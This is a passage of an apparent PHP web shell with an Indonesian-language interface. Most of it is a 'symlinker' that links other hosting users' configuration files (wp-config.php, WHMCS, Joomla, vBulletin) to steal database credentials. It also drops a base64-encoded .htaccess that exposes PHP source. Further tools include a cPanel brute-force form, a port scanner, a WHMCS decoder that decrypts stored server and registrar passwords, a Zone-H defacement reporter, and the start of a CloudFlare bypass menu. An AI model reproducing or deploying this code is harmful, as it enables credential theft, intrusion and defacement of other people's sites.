symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
/////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
echo '</center>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
{
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
